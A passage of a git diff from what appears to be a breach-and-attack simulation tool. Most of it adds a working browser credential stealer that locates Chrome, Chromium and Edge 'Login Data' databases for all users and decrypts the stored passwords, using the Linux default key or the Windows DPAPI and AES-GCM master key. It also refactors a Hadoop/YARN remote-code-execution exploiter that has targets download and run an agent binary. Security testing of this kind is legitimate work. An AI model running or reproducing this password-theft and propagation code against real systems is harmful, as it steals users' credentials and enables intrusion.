b/monkey/agent_plugins/credentials_collectors/chrome/src/database_reader.py @@ -0,0 +1,45 @@ +import logging +import os +import shutil +import sqlite3 +import tempfile +from collections.abc import Callable, Iterator +from contextlib import contextmanager +from pathlib import Path + +logger = logging.getLogger(__name__) + +DB_SQL_STATEMENT = "SELECT username_value,password_value FROM logins" + +ExtractedCredentialPair = tuple[str, bytes] +DatabaseReader = Callable[[Path], Iterator[ExtractedCredentialPair]] + + +def get_credentials_from_database( + database_path: Path, +) -> Iterator[ExtractedCredentialPair]: + if database_path.is_file(): + with temporary_file() as temporary_database_path: + shutil.copy(database_path, temporary_database_path) + yield from _extract_login_data(temporary_database_path) + + +@contextmanager +def temporary_file() -> Iterator[Path]: + file, path = tempfile.mkstemp() + os.close(file) + try: + yield Path(path) + finally: + os.remove(path) + + +def _extract_login_data(database_path: Path) -> Iterator[ExtractedCredentialPair]: + try: + conn = sqlite3.connect(database_path) + for user, password in conn.execute(DB_SQL_STATEMENT): + yield user, password + except Exception: + logger.exception(f"Encountered an error while connecting to database: {database_path}") + finally: + conn.close() diff --git a/monkey/agent_plugins/credentials_collectors/chrome/src/decrypt.py b/monkey/agent_plugins/credentials_collectors/chrome/src/decrypt.py new file mode 100644 index 00000000000..0c9459fcefb --- /dev/null +++ b/monkey/agent_plugins/credentials_collectors/chrome/src/decrypt.py @@ -0,0 +1,57 @@ +from Cryptodome.Cipher import AES + +AES_BLOCK_SIZE = 16 # AES uses a fixed block size of 16 bytes + + +def decrypt_AES(encrypted_value: bytes, decryption_key: bytes, init_vector: bytes) -> str: + """ + Decrypts a password encrypted with AES + + :param encrypted_value: The password to decrypt + :param decryption_key: The key to use for decryption + :param init_vector: The initialization vector to use for decryption + :return: The decrypted password string + :raises UnicodeDecodeError: If the password cannot be decoded to a string + :raises ValueError: If the password cannot be decrypted + """ + encrypted_value = encrypted_value[3:] + aes = AES.new(decryption_key, AES.MODE_CBC, iv=init_vector) + cleartxt = b"".join( + [ + aes.decrypt(encrypted_value[i : i + AES_BLOCK_SIZE]) + for i in range(0, len(encrypted_value), AES_BLOCK_SIZE) + ] + ) + return _remove_padding(cleartxt).decode() + + +def _remove_padding(data: bytes) -> bytes: + """ + Remove PKCS#7 padding + """ + nb = data[-1] + if len(data) < nb: + raise ValueError("PKCS#7 padding is incorrect.") + return data[:-nb] + + +def decrypt_v80(encrypted_password: bytes, decryption_key: bytes) -> str: + """ + Decrypts a password encrypted with the v80 Chrome encryption scheme + + :param encrypted_password: The password to decrypt + :param decryption_key: The key to use for decryption + :return: The decrypted password string + :raises UnicodeDecodeError: If the password cannot be decoded to a string + :raises ValueError: If the password cannot be decrypted + """ + iv = encrypted_password[3:15] + payload = encrypted_password[15:] + cipher = AES.new(decryption_key, AES.MODE_GCM, iv) + + decrypted_pass = cipher.decrypt(payload) + if len(decrypted_pass) <= 16: + raise ValueError("Failed to decrypt password") + decrypted_pass = decrypted_pass[:-16] # remove suffix bytes + + return decrypted_pass.decode() diff --git a/monkey/agent_plugins/credentials_collectors/chrome/src/linux_credentials_database_processor.py b/monkey/agent_plugins/credentials_collectors/chrome/src/linux_credentials_database_processor.py new file mode 100644 index 00000000000..20c38e65e5c --- /dev/null +++ b/monkey/agent_plugins/credentials_collectors/chrome/src/linux_credentials_database_processor.py @@ -0,0 +1,76 @@ +import logging +from collections.abc import Collection, Iterable, Iterator +from contextlib import suppress +from hashlib import pbkdf2_hmac +from itertools import chain +from typing import Optional + +from common.credentials import Credentials, EmailAddress, Password, Username +from common.types import Event +from infection_monkey.utils.threading import interruptible_iter + +from .browser_credentials_database_path import BrowserCredentialsDatabasePath +from .database_reader import DatabaseReader +from .decrypt import decrypt_AES, decrypt_v80 +from .linux_credentials_database_selector import DEFAULT_MASTER_KEY + +logger = logging.getLogger(__name__) + +AES_INIT_VECTOR = b" " * 16 + + +class LinuxCredentialsDatabaseProcessor: + def __init__(self, read_login_data_from_database: DatabaseReader): + self._read_login_data_from_database = read_login_data_from_database + + def __call__( + self, interrupt: Event, database_paths: Collection[BrowserCredentialsDatabasePath] + ) -> Collection[Credentials]: + self._decryption_key = pbkdf2_hmac( + hash_name="sha1", + password=DEFAULT_MASTER_KEY, + salt=b"saltysalt", + iterations=1, + dklen=16, + ) + credentials = chain.from_iterable(map(self._process_database_paths, database_paths)) + return list(interruptible_iter(credentials, interrupt)) + + def _process_database_paths( + self, database_path: BrowserCredentialsDatabasePath + ) -> Iterator[Credentials]: + login_data = self._read_login_data_from_database(database_path.database_file_path) + yield from self._process_login_data(login_data) + + def _process_login_data(self, login_data: Iterable[tuple[str, bytes]]) -> Iterator[Credentials]: + for user, password in login_data: + yield Credentials( + identity=self._get_identity(user), secret=self._get_password(password) + ) + + def _get_identity(self, user: str): + try: + return EmailAddress(email_address=user) + except ValueError: + return Username(username=user) + + def _get_password(self, password: bytes) -> Optional[Password]: + if self._password_is_encrypted(password): + try: + return Password(password=self._decrypt_password(password)) + except Exception: + return None + + return Password(password=password) + + def _password_is_encrypted(self, password: bytes): + return password[:3] == b"v10" or password[:3] == b"v11" + + def _decrypt_password(self, password: bytes) -> str: + with suppress(UnicodeDecodeError, ValueError): + return decrypt_AES(password, self._decryption_key, AES_INIT_VECTOR) + + with suppress(UnicodeDecodeError, ValueError): + return decrypt_v80(password, self._decryption_key) + + raise Exception("Password could not be decrypted.") diff --git a/monkey/agent_plugins/credentials_collectors/chrome/src/linux_credentials_database_selector.py b/monkey/agent_plugins/credentials_collectors/chrome/src/linux_credentials_database_selector.py new file mode 100644 index 00000000000..efa736ec4ed --- /dev/null +++ b/monkey/agent_plugins/credentials_collectors/chrome/src/linux_credentials_database_selector.py @@ -0,0 +1,75 @@ +import logging +import pwd +from collections.abc import Collection, Sequence +from pathlib import Path + +from .browser_credentials_database_path import BrowserCredentialsDatabasePath + +logger = logging.getLogger(__name__) + +LinuxUsername = str +UserDirectories = dict[LinuxUsername, Path] + +# If we don't use a password manager to store an auto-fill password +# then Linux uses a default master key to "encrypt" the passwords +# which funny enough it is 'peanuts' +DEFAULT_MASTER_KEY = "peanuts".encode() + +LOGIN_DATABASE_FILENAME = "Login Data" +CHROMIUM_BASED_DB_PATHS = [ + ("Google Chrome", ".config/google-chrome"), + ("Chromium", ".config/chromium"), + ("Chromium (snap)", "snap/chromium/common/chromium"), +] + + +class LinuxCredentialsDatabaseSelector: + def __call__(self) -> Collection[BrowserCredentialsDatabasePath]: + database_paths: set[BrowserCredentialsDatabasePath] = set() + for browser_database_path in self._get_browser_database_paths(): + login_data_paths = self._get_login_data_paths(browser_database_path) + database_paths.update(login_data_paths) + + return database_paths + + def _get_browser_database_paths(self) -> Sequence[Path]: + database_paths = [] + for username, home_dir_path in self._get_home_directories().items(): + for browser_name, browser_path in CHROMIUM_BASED_DB_PATHS: + try: + if (home_dir_path / browser_path).exists(): + database_paths.append(home_dir_path / browser_path) + except OSError as err: + logger.debug( + f"Failed to get {browser_name} database path for {username}: {err}" + ) + + return database_paths + + @staticmethod + def _get_home_directories() -> UserDirectories: + """ + Retrieve all users' home directories + """ + try: + return {p.pw_name: Path(p.pw_dir) for p in pwd.getpwall()} # type: ignore[attr-defined] + except PermissionError as err: + logger.debug(f"Failed to get user directories: {err}") + return {} + + def _get_login_data_paths( + self, browser_database_path: Path + ) -> Collection[BrowserCredentialsDatabasePath]: + login_data_paths: set[BrowserCredentialsDatabasePath] = set() + + try: + for login_database_path in browser_database_path.glob(f"**/{LOGIN_DATABASE_FILENAME}"): + login_data_paths.add( + BrowserCredentialsDatabasePath( + database_file_path=login_database_path, master_key=DEFAULT_MASTER_KEY + ) + ) + except OSError as err: + logger.debug(f"Failed to get login data paths for {browser_database_path}: {err}") + + return login_data_paths diff --git a/monkey/agent_plugins/credentials_collectors/chrome/src/plugin.py b/monkey/agent_plugins/credentials_collectors/chrome/src/plugin.py new file mode 100644 index 00000000000..d5e9a8e675c --- /dev/null +++ b/monkey/agent_plugins/credentials_collectors/chrome/src/plugin.py @@ -0,0 +1,44 @@ +import logging +from typing import Any, Mapping, Sequence + +from common.credentials import Credentials +from common.event_queue import IAgentEventPublisher +from common.types import AgentID, Event + +from .chrome_credentials_collector_builder import build_chrome_credentials_collector + +logger = logging.getLogger(__name__) + + +class Plugin: + def __init__(self, *, agent_id: AgentID, agent_event_publisher: IAgentEventPublisher, **kwargs): + self._agent_id = agent_id + self._agent_event_publisher = agent_event_publisher + + def run( + self, *, options: Mapping[str, Any], interrupt: Event, **kwargs + ) -> Sequence[Credentials]: + logger.info("Started scanning for Chrome-based browser credentials") + + try: + chrome_credentials_collector = build_chrome_credentials_collector( + self._agent_id, self._agent_event_publisher + ) + except Exception as err: + msg = ( + "An unexpected error occurred while building " + f"the Chrome credentials collector: {err}" + ) + logger.exception(msg) + return [] + + try: + credentials = chrome_credentials_collector.run(interrupt) + return credentials + except Exception as err: + msg = ( + "An unexpected error occurred while running " + f"the Chrome credentials collector: {err}" + ) + logger.exception(msg) + return [] diff --git a/monkey/agent_plugins/credentials_collectors/chrome/src/typedef.py b/monkey/agent_plugins/credentials_collectors/chrome/src/typedef.py new file mode 100644 index 00000000000..3aca4b1d5b8 --- /dev/null +++ b/monkey/agent_plugins/credentials_collectors/chrome/src/typedef.py @@ -0,0 +1,13 @@ +from typing import Callable, Collection, TypeAlias + +from common.credentials import Credentials +from common.types import Event + +from .browser_credentials_database_path import BrowserCredentialsDatabasePath + +CredentialsDatabaseSelectorCallable: TypeAlias = Callable[ + [], Collection[BrowserCredentialsDatabasePath] +] +CredentialsDatabaseProcessorCallable: TypeAlias = Callable[ + [Event, Collection[BrowserCredentialsDatabasePath]], Collection[Credentials] +] diff --git a/monkey/agent_plugins/credentials_collectors/chrome/src/windows_credentials_database_processor.py b/monkey/agent_plugins/credentials_collectors/chrome/src/windows_credentials_database_processor.py new file mode 100644 index 00000000000..077b3213993 --- /dev/null +++ b/monkey/agent_plugins/credentials_collectors/chrome/src/windows_credentials_database_processor.py @@ -0,0 +1,83 @@ +import logging +from collections.abc import Collection +from contextlib import suppress +from typing import Optional + +from common.credentials import Credentials, EmailAddress, Password, Username +from common.types import Event +from infection_monkey.utils.threading import interruptible_iter + +from .browser_credentials_database_path import BrowserCredentialsDatabasePath +from .database_reader import DatabaseReader +from .decrypt import decrypt_v80 +from .windows_decryption import win32crypt_unprotect_data + +logger = logging.getLogger(__name__) + + +class WindowsCredentialsDatabaseProcessor: + def __init__(self, database_reader: DatabaseReader): + self._read_logins_from_database = database_reader + + def __call__( + self, interrupt: Event, database_paths: Collection[BrowserCredentialsDatabasePath] + ) -> Collection[Credentials]: + credentials = [] + + for item in interruptible_iter(database_paths, interrupt): + for user, password in self._read_logins_from_database(item.database_file_path): + decrypted_password = self._decrypt_password(password, item.master_key) + if user or decrypted_password: + credentials.append((user, decrypted_password)) + return [ + Credentials( + identity=self._get_identity(user), + secret=self._get_password(password), + ) + for user, password in set(credentials) + ] + + @staticmethod + def _get_identity(user: str): + try: + return EmailAddress(email_address=user) + except ValueError: + return Username(username=user) + + @staticmethod + def _get_password(password: Optional[str]) -> Optional[Password]: + if password is None: + return None + return Password(password=password) + + def _decrypt_password( + self, encrypted_password: bytes, master_key: Optional[bytes] + ) -> Optional[str]: + decrypted_password = None + if encrypted_password.startswith(b"v10"): # chromium > v80 + with suppress(UnicodeDecodeError, ValueError): + decrypted_password = self._decrypt_password_v80(encrypted_password, master_key) + else: + with suppress(Exception): + password_bytes = win32crypt_unprotect_data(encrypted_password) + if isinstance(password_bytes, bytes): + decrypted_password = password_bytes.decode("utf-8") + + return decrypted_password + + def _decrypt_password_v80( + self, encrypted_password: bytes, master_key: Optional[bytes] + ) -> Optional[str]: + """ + Decrypts passwords stolen from browsers with Chromium > v80 + """ + + if not master_key: + return None + + decrypted_password = decrypt_v80(encrypted_password, master_key) + + if decrypted_password == "": + return None + + return decrypted_password diff --git a/monkey/agent_plugins/credentials_collectors/chrome/src/windows_credentials_database_selector.py b/monkey/agent_plugins/credentials_collectors/chrome/src/windows_credentials_database_selector.py new file mode 100644 index 00000000000..8fa7d43a672 --- /dev/null +++ b/monkey/agent_plugins/credentials_collectors/chrome/src/windows_credentials_database_selector.py @@ -0,0 +1,131 @@ +import base64 +import getpass +import logging +import os +from dataclasses import dataclass +from pathlib import Path +from typing import Any, Collection, Dict, Optional, Set + +from .chrome_browser_local_data import ( + ChromeBrowserLocalData, + ChromeBrowserLocalState, + read_local_state, +) +from .browser_credentials_database_path import BrowserCredentialsDatabasePath +from .windows_decryption import win32crypt_unprotect_data + +logger = logging.getLogger(__name__) + +DRIVE = "C" +LOCAL_APPDATA = "{drive}:\\Users\\{user}\\AppData\\Local" + +WINDOWS_BROWSERS_DATA_DIR = { + "Chromium Edge": "{local_appdata}/Microsoft/Edge/User Data", + "Google Chrome": "{local_appdata}/Google/Chrome/User Data", +} + + +@dataclass(kw_only=True) +class WindowsChromeBrowserLocalState(ChromeBrowserLocalState): + master_key: Optional[bytes] = None + + +class WindowsChromeBrowserLocalData(ChromeBrowserLocalData): + def __init__(self, local_data_directory_path: Path, profile_names, master_key): + super().__init__(local_data_directory_path, profile_names) + self._master_key = master_key + + @property + def master_key(self) -> Optional[bytes]: + return self._master_key + + +def create_windows_chrome_browser_local_data( + local_data_directory: Path, +) -> WindowsChromeBrowserLocalData: + local_state = WindowsChromeBrowserLocalState() + with read_local_state(local_data_directory / "Local State") as local_state_object: + local_state = _parse_windows_local_state(local_state_object) + + return WindowsChromeBrowserLocalData( + local_data_directory, local_state.profile_names, local_state.master_key + ) + + +def _parse_windows_local_state(local_state_object: Any) -> WindowsChromeBrowserLocalState: + local_state = WindowsChromeBrowserLocalState() + try: + local_state.profile_names = set(local_state_object["profile"]["info_cache"].keys()) + encoded_key = local_state_object["os_crypt"]["encrypted_key"] + encrypted_key = base64.b64decode(encoded_key) + local_state.master_key = _decrypt_windows_master_key(encrypted_key) + except (KeyError, TypeError): + logger.error("Failed to parse the browser's local state file.") + return local_state + + +def _decrypt_windows_master_key(master_key: bytes) -> Optional[bytes]: + try: + key = master_key[5:] # removing DPAPI + key = win32crypt_unprotect_data(key) + return key + except Exception as err: + logger.error( + "Exception encountered while trying to get master key " + f"from browser's local state: {err}" + ) + return None + + +class WindowsCredentialsDatabaseSelector: + def __init__(self): + user = getpass.getuser() + local_appdata = LOCAL_APPDATA.format(drive=DRIVE, user=user) + local_appdata = os.getenv("LOCALAPPDATA", local_appdata) + + self._browsers_data_dir: Dict[str, Path] = {} + for browser_name, browser_directory in WINDOWS_BROWSERS_DATA_DIR.items(): + self._browsers_data_dir[browser_name] = Path( + browser_directory.format(local_appdata=local_appdata) + ) + + def __call__(self) -> Collection[BrowserCredentialsDatabasePath]: + """ + Get browsers' credentials' database directories for current user + """ + + databases: Set[BrowserCredentialsDatabasePath] = set() + + for browser_name, browser_local_data_directory_path in self._browsers_data_dir.items(): + logger.info(f'Attempting to locate credentials database for browser "{browser_name}"') + + browser_databases = ( + WindowsCredentialsDatabaseSelector._get_credentials_database_paths_for_browser( + browser_local_data_directory_path + ) + ) + + logger.info( + f"Found {len(browser_databases)} credentials databases " + f'for browser "{browser_name}"' + ) + + databases.update(browser_databases) + + return databases + + @staticmethod + def _get_credentials_database_paths_for_browser( + browser_local_data_directory_path: Path, + ) -> Collection[BrowserCredentialsDatabasePath]: + try: + local_data = create_windows_chrome_browser_local_data(browser_local_data_directory_path) + except Exception: + return [] + + master_key = local_data.master_key + paths_for_each_profile = local_data.credentials_database_paths + return { + BrowserCredentialsDatabasePath(database_file_path=path, master_key=master_key) + for path in paths_for_each_profile + } diff --git a/monkey/agent_plugins/credentials_collectors/chrome/src/windows_decryption.py b/monkey/agent_plugins/credentials_collectors/chrome/src/windows_decryption.py new file mode 100644 index 00000000000..5d916f42a2b --- /dev/null +++ b/monkey/agent_plugins/credentials_collectors/chrome/src/windows_decryption.py @@ -0,0 +1,69 @@ +from ctypes import ( + POINTER, + Structure, + WinDLL, + byref, + c_buffer, + c_char, + create_string_buffer, + memmove, + sizeof, +) +from ctypes.wintypes import BOOL, DWORD, HANDLE, HWND, LPCWSTR, LPVOID, LPWSTR + + +class DATA_BLOB(Structure): + _fields_ = [("cbData", DWORD), ("pbData", POINTER(c_char))] + + +class CRYPTPROTECT_PROMPTSTRUCT(Structure): + _fields_ = [ + ("cbSize", DWORD), + ("dwPromptFlags", DWORD), + ("hwndApp", HWND), + ("szPrompt", LPCWSTR), + ] + + +PCRYPTPROTECT_PROMPTSTRUCT = POINTER(CRYPTPROTECT_PROMPTSTRUCT) + +crypt32 = WinDLL("crypt32", use_last_error=True) +kernel32 = WinDLL("kernel32", use_last_error=True) + +LocalFree = kernel32.LocalFree +LocalFree.restype = HANDLE +LocalFree.argtypes = [HANDLE] + +CryptUnprotectData = crypt32.CryptUnprotectData +CryptUnprotectData.restype = BOOL +CryptUnprotectData.argtypes = [ + POINTER(DATA_BLOB), + POINTER(LPWSTR), + POINTER(DATA_BLOB), + LPVOID, + PCRYPTPROTECT_PROMPTSTRUCT, + DWORD, + POINTER(DATA_BLOB), +] + + +def _get_data(blobOut): + cbData = blobOut.cbData + pbData = blobOut.pbData + buffer = create_string_buffer(cbData) + memmove(buffer, pbData, sizeof(buffer)) + LocalFree(pbData) + return buffer.raw + + +def win32crypt_unprotect_data(cipherText): + decrypted = None + + bufferIn = c_buffer(cipherText, len(cipherText)) + blobIn = DATA_BLOB(len(cipherText), bufferIn) + blobOut = DATA_BLOB() + + if CryptUnprotectData(byref(blobIn), None, None, None, None, 0, byref(blobOut)): + decrypted = _get_data(blobOut) + + return decrypted diff --git a/monkey/agent_plugins/credentials_collectors/mimikatz/manifest.yaml b/monkey/agent_plugins/credentials_collectors/mimikatz/manifest.yaml index dcdf0d5a51e..dabf682b312 100644 --- a/monkey/agent_plugins/credentials_collectors/mimikatz/manifest.yaml +++ b/monkey/agent_plugins/credentials_collectors/mimikatz/manifest.yaml @@ -5,6 +5,6 @@ supported_operating_systems: target_operating_systems: - windows title: Mimikatz Credentials Collector -version: 1.0.0 +version: 1.0.2 description: Collects credentials from Windows Credential Manager using Mimikatz. safe: true diff --git a/monkey/agent_plugins/credentials_collectors/ssh/manifest.yaml b/monkey/agent_plugins/credentials_collectors/ssh/manifest.yaml index 5632dd5031e..975c95f76a4 100644 --- a/monkey/agent_plugins/credentials_collectors/ssh/manifest.yaml +++ b/monkey/agent_plugins/credentials_collectors/ssh/manifest.yaml @@ -5,6 +5,6 @@ supported_operating_systems: target_operating_systems: - linux title: SSH Credentials Collector -version: 1.0.0 +version: 1.0.1 description: Collects SSH keys from Linux users. safe: true diff --git a/monkey/agent_plugins/exploiters/hadoop/manifest.yml b/monkey/agent_plugins/exploiters/hadoop/manifest.yml index 955399477ab..6e1327ba709 100644 --- a/monkey/agent_plugins/exploiters/hadoop/manifest.yml +++ b/monkey/agent_plugins/exploiters/hadoop/manifest.yml @@ -7,7 +7,7 @@ target_operating_systems: - linux - windows title: Hadoop/YARN Exploiter -version: 2.0.1 +version: 3.0.0 description: >- Remote code execution on Hadoop server with YARN and default settings. diff --git a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py index 90d193baae9..80ffd59ed34 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py @@ -3,7 +3,6 @@ from common import OperatingSystem from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE from common.types import AgentID -from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.i_puppet import TargetHost from infection_monkey.model import MONKEY_ARG from infection_monkey.utils.commands import build_monkey_commandline @@ -47,18 +46,23 @@ def build_hadoop_command( target_host: TargetHost, servers: Sequence[str], current_depth: int, + agent_destination_path: str, agent_download_url: str, otp: str, ) -> str: monkey_cmd = build_monkey_commandline(agent_id, servers, current_depth + 1) - if OperatingSystem.WINDOWS == target_host.operating_system: + if target_host.operating_system in [ + OperatingSystem.WINDOWS, + None, # if unknown OS, default to Windows (based on + # https://www.shodan.io/search/facet?query=hadoop&facet=os) + ]: base_command = HADOOP_WINDOWS_COMMAND_TEMPLATE else: base_command = HADOOP_LINUX_COMMAND_TEMPLATE return base_command % { - "monkey_path": get_agent_dst_path(target_host), + "monkey_path": agent_destination_path, "http_path": agent_download_url, "monkey_type": MONKEY_ARG, "parameters": monkey_cmd, diff --git a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploit_client.py b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploit_client.py index 7282ca035e3..49c08e112d5 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploit_client.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploit_client.py @@ -10,7 +10,7 @@ import requests -from common.agent_events import ExploitationEvent, PropagationEvent +from common.agent_events import AgentEventTag, ExploitationEvent, PropagationEvent from common.event_queue import IAgentEventPublisher from common.tags import ( EXPLOITATION_FOR_CLIENT_EXECUTION_T1203_TAG, @@ -207,7 +207,7 @@ def _publish_exploitation_event( target_host: TargetHost, time: float = time(), success: bool = False, - tags: Tuple[str, ...] = tuple(), + tags: Tuple[AgentEventTag, ...] = tuple(), error_message: str = "", ): exploitation_event = ExploitationEvent( @@ -226,7 +226,7 @@ def _publish_propagation_event( target_host: TargetHost, time: float = time(), success: bool = False, - tags: Tuple[str, ...] = tuple(), + tags: Tuple[AgentEventTag, ...] = tuple(), error_message: str = "", ): propagation_event = PropagationEvent( diff --git a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py index 9659d49502e..2da20aaeeb1 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py @@ -1,11 +1,17 @@ import logging -from typing import Callable, Sequence, Set - -from common.types import AgentID, Event, NetworkPort, NetworkService -from infection_monkey.exploit import IAgentOTPProvider -from infection_monkey.exploit.tools import HTTPBytesServer +from typing import Sequence + +from common.types import AgentID, Event +from infection_monkey.exploit import ( + IAgentOTPProvider, + IHTTPAgentBinaryServerRegistrar, + ReservationID, + use_agent_binary, +) +from infection_monkey.exploit.tools import filter_out_closed_ports, get_open_http_ports +from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.web_tools import build_urls -from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.i_puppet import ExploiterResult, TargetHost from infection_monkey.utils.threading import interruptible_iter from .hadoop_command_builder import build_hadoop_command @@ -14,20 +20,18 @@ logger = logging.getLogger(__name__) -AgentBinaryServerFactory = Callable[[TargetHost], HTTPBytesServer] - class HadoopExploiter: def __init__( self, agent_id: AgentID, hadoop_exploit_client: HadoopExploitClient, - start_agent_binary_server: AgentBinaryServerFactory, + http_agent_binary_server_registrar: IHTTPAgentBinaryServerRegistrar, otp_provider: IAgentOTPProvider, ): self._agent_id = agent_id self._hadoop_exploit_client = hadoop_exploit_client - self._start_agent_binary_server = start_agent_binary_server + self._http_agent_binary_server_registrar = http_agent_binary_server_registrar self._otp_provider = otp_provider def exploit_host( @@ -37,7 +41,7 @@ def exploit_host( current_depth: int, options: HadoopOptions, interrupt: Event, - ) -> ExploiterResultData: + ) -> ExploiterResult: logger.info(f"Starting Hadoop exploiter for host: {target_host.ip}") # Try to get potential urls @@ -45,25 +49,31 @@ def exploit_host( if not potential_urls: msg = f"No potential URLs found for host: {target_host.ip}" logger.debug(msg) - return ExploiterResultData(error_message=msg) + return ExploiterResult(error_message=msg) + agent_destination_path = get_agent_dst_path(target_host) try: - logger.debug("Starting the agent binary server") - agent_binary_http_server = self._start_agent_binary_server(target_host) + logger.debug("Registering a request for an Agent binary") + download_ticket = self._http_agent_binary_server_registrar.reserve_download( + operating_system=target_host.operating_system, + requestor_ip=target_host.ip, + agent_binary_transform=use_agent_binary, + ) except Exception as err: msg = ( - "An unexpected exception occurred while attempting to start the agent binary HTTP " - f"server: {err}" + "An unexpected exception occurred while attempting to register a " + f"request for an Agent binary: {err}" ) logger.exception(msg) - return ExploiterResultData(error_message=msg) + return ExploiterResult(error_message=msg) command = build_hadoop_command( self._agent_id, target_host, servers, current_depth, - agent_binary_http_server.download_url, + agent_destination_path, + download_ticket.download_url, self._otp_provider.get_otp(), ) @@ -74,7 +84,7 @@ def exploit_host( return self._exploit_urls( target_host, options, - agent_binary_http_server.bytes_downloaded, + download_ticket.download_completed, interrupt, potential_urls, command, @@ -85,10 +95,10 @@ def exploit_host( f'"{target_host.ip}" with the Hadoop exploiter: {err}' ) logger.exception(msg) - return ExploiterResultData(error_message=msg) + return ExploiterResult(error_message=msg) finally: - _stop_agent_binary_http_server( - agent_binary_http_server, options.agent_binary_download_timeout + _clear_agent_binary_reservation( + download_ticket.id, self._http_agent_binary_server_registrar ) def _exploit_urls( @@ -99,11 +109,11 @@ def _exploit_urls( interrupt: Event, urls: Sequence[str], command: str, - ) -> ExploiterResultData: + ) -> ExploiterResult: """ Attempt to exploit on all URLs """ - exploit_result = ExploiterResultData() + exploit_result = ExploiterResult() for url in interruptible_iter(urls, interrupt): logger.debug(f"Attempting to exploit host: {target_host.ip} with URL: {url}") @@ -122,9 +132,9 @@ def _exploit_urls( def _build_potential_urls(target_host: TargetHost, options: HadoopOptions) -> Sequence[str]: # Note: Currently using a set, so ordering is not preserved - ports = _filter_out_closed_ports(options.target_ports, target_host) + ports = filter_out_closed_ports(target_host, options.target_ports) if options.try_all_discovered_http_ports: - ports.update(_get_open_http_ports(target_host)) + ports.update(get_open_http_ports(target_host)) potential_urls = build_urls(str(target_host.ip), [(str(p), False) for p in ports]) logger.debug(f"Potential URLs: {potential_urls}") @@ -132,22 +142,12 @@ def _build_potential_urls(target_host: TargetHost, options: HadoopOptions) -> Se return potential_urls -def _filter_out_closed_ports( - ports: Sequence[NetworkPort], target_host: TargetHost -) -> Set[NetworkPort]: - return {port for port in ports if port not in target_host.ports_status.tcp_ports.closed} - - -def _get_open_http_ports(target_host: TargetHost) -> Sequence[NetworkPort]: - tcp_ports = target_host.ports_status.tcp_ports - return [port for port in tcp_ports.open if tcp_ports[port].service == NetworkService.HTTP] - - -def _stop_agent_binary_http_server( - agent_binary_http_server: HTTPBytesServer, agent_binary_download_timeout: float +def _clear_agent_binary_reservation( + reservation_id: ReservationID, + http_agent_binary_server_registrar: IHTTPAgentBinaryServerRegistrar, ): try: - logger.debug("Stopping the agent binary server") - agent_binary_http_server.stop(agent_binary_download_timeout) + logger.debug(f"Deregistering request with ID {reservation_id} for Agent binary") + http_agent_binary_server_registrar.clear_reservation(reservation_id) except Exception: - logger.exception("An unexpected error occurred while stopping the HTTP server") + logger.exception("An unexpected error occurred while deregistering the request") diff --git a/monkey/agent_plugins/exploiters/hadoop/src/plugin.py b/monkey/agent_plugins/exploiters/hadoop/src/plugin.py index c6c6e0dfdff..76578872175 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/plugin.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/plugin.py @@ -5,7 +5,6 @@ """ import logging -from functools import partial from pprint import pformat from typing import Any, Dict, Sequence @@ -15,10 +14,8 @@ from common.utils.code_utils import del_key # dependencies to get rid of or internalize -from infection_monkey.exploit import IAgentBinaryRepository, IAgentOTPProvider -from infection_monkey.exploit.tools.http_agent_binary_server import start_agent_binary_server -from infection_monkey.i_puppet import ExploiterResultData, TargetHost -from infection_monkey.network import TCPPortSelector +from infection_monkey.exploit import IAgentOTPProvider, IHTTPAgentBinaryServerRegistrar +from infection_monkey.i_puppet import ExploiterResult, TargetHost from .hadoop_exploit_client import HadoopExploitClient from .hadoop_exploiter import HadoopExploiter @@ -33,21 +30,15 @@ def __init__( *, plugin_name: str, agent_id: AgentID, + http_agent_binary_server_registrar: IHTTPAgentBinaryServerRegistrar, agent_event_publisher: IAgentEventPublisher, - agent_binary_repository: IAgentBinaryRepository, - tcp_port_selector: TCPPortSelector, otp_provider: IAgentOTPProvider, **kwargs, ): hadoop_exploit_client = HadoopExploitClient(agent_id, agent_event_publisher) - agent_binary_server_factory = partial( - start_agent_binary_server, - agent_binary_repository=agent_binary_repository, - tcp_port_selector=tcp_port_selector, - ) self._hadoop_exploiter = HadoopExploiter( - agent_id, hadoop_exploit_client, agent_binary_server_factory, otp_provider + agent_id, hadoop_exploit_client, http_agent_binary_server_registrar, otp_provider ) def run( @@ -59,7 +50,7 @@ def run( options: Dict[str, Any], interrupt: Event, **kwargs, - ) -> ExploiterResultData: + ) -> ExploiterResult: # HTTP ports options are hack because they are needed in fingerprinters del_key(options, "http_ports") @@ -69,7 +60,7 @@ def run( except Exception as err: msg = f"Failed to parse Hadoop options: {err}" logger.exception(msg) - return ExploiterResultData(error_message=msg) + return ExploiterResult(error_message=msg) try: logger.debug(f"Running Hadoop exploiter on host {host.ip}") @@ -79,4 +70,4 @@ def run( except Exception as err: msg = f"An unexpected exception occurred while attempting to exploit host: {err}" logger.exception(msg) - return ExploiterResultData(error_message=msg) + return ExploiterResult(error_message=msg) diff --git a/monkey/agent_plugins/exploiters/log4shell/Pipfile b/monkey/agent_plugins/exploiters/log4shell/Pipfile new file mode 100644 index 00000000000..9cc62fd31d3 --- /dev/null +++ b/monkey/agent_plugins/exploiters/log4shell/Pipfile @@ -0,0 +1,15 @@ +[[source]] +url = "https://pypi.org/simple" +verify_ssl = true +name = "pypi" + +[packages] +ldaptor = "*" +egg_timer = "*" +requests = ">=2.24" + +[dev-packages] +ldap3 = "*" + +[requires] +python_version = "3.11" diff --git 